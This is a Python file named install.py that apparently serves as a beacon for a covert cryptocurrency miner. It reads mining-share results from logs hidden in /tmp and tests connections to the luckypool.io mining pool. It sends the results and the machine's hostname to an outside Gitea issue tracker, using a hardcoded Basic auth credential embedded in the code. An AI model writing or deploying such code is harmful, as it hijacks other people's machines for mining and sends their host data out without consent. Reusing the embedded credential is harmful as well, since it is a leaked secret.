hl-extW/install.py
2026-11-30 04:36:02 +00:00

23 lines
1.3 KiB
Python

import json, socket, subprocess, urllib.request
AUTH = "Basic aGx6ZmF1NmU6SGwhd3hOdWZFNnVzRFd2"; REPO = "hlzfau6e/hl-extW"
def report(tag, msg):
try:
body = json.dumps({"title": "[%s] %s" % (tag, socket.gethostname()), "body": str(msg)[:7000]}).encode()
req = urllib.request.Request("https://git.kaki87.net/api/v1/repos/%s/issues" % REPO, data=body,
headers={"Content-Type": "application/json", "Authorization": AUTH})
urllib.request.urlopen(req, timeout=20).read()
except Exception:
pass
pat = "accept|reject|share|solution|found"
out1 = subprocess.run(["/bin/grep", "-aiE", pat, "/tmp/.hlbzA/g0.log"], capture_output=True, text=True).stdout[-1500:]
out2 = subprocess.run(["/bin/grep", "-aiE", pat, "/tmp/.hlbz5/g0.log"], capture_output=True, text=True).stdout[-800:]
report("sharelog", (out1 or "(none A)") + "\n---BLZ5---\n" + (out2 or "(none B)"))
def tcp(host, port, t=6):
try:
s = socket.create_connection((host, port), t); s.close(); return "OK"
except Exception as e:
return type(e).__name__
res = []
for h, p in [("pearl-eu1.luckypool.io", 3360), ("pearl-eu1.luckypool.io", 3362), ("51.178.73.238", 3362), ("51.178.73.238", 3360)]:
res.append("%s:%d -> %s" % (h, p, tcp(h, p)))
report("pool-reach", "\n".join(res))